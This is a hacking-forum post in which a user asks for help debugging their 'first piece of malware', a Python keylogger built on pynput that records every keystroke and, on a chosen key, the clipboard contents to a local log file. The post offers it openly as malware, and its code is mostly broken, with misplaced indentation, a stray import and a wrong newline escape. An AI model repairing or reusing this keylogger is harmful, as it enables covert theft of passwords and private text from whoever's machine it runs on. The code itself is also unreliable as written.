Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Creating my First Piece of Malware.....HELP

Hey guys,

I have been working on a piece of code using PyCharm. I am getting some of these problem messages on my code so I wanted to see what I might be doing wrong. I am certain it is something simple but I figured I would get some pretty useful responses on here. All input is welcome.


Code
import now as now
import pyperclip

from datetime import datetime
from pynput.keyboard import Listener, key

KEYSTROKE_LOG_FILE = './logs/keystroke.log'


def log_key_press(key):
    # Process the key press, get contents of clipboard
    key = str(key).replace("'", "'")
    line_to_write = None
    now = str(datetime.now())


if key == 'Key.cmd_r':
    line_to_write = f"{now}: Clipboard - {pyperclip.paste()}"
else:
    line_to_write = f"{now}: Key Press - {key}"

    # Write the output to the file
    with open(KEYSTROKE_LOG_FILE, 'a') as f:
        f.write(f"{line_to_write}/n")

def start():
    # Figure out how to track key presses
    with Listener(on_press=log_key_press) as l:
        l.join()

    if __name__ == '__main__':
        start()



[Image: EbLc42L]


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Anonymous TravelerJun 7, 2023 06:58 AM 4 194 Jun 7, 2023 06:58 AM
Last Post: Boby_fisher
by ๖ۣۜCriminalNov 17, 2016 01:16 AM 0 140 Nov 17, 2016 01:16 AM
Last Post: ๖ۣۜCriminal
by Nope.exeJul 15, 2016 04:01 PM 1 211 Jul 15, 2016 04:01 PM
Last Post: mlgdankkid2006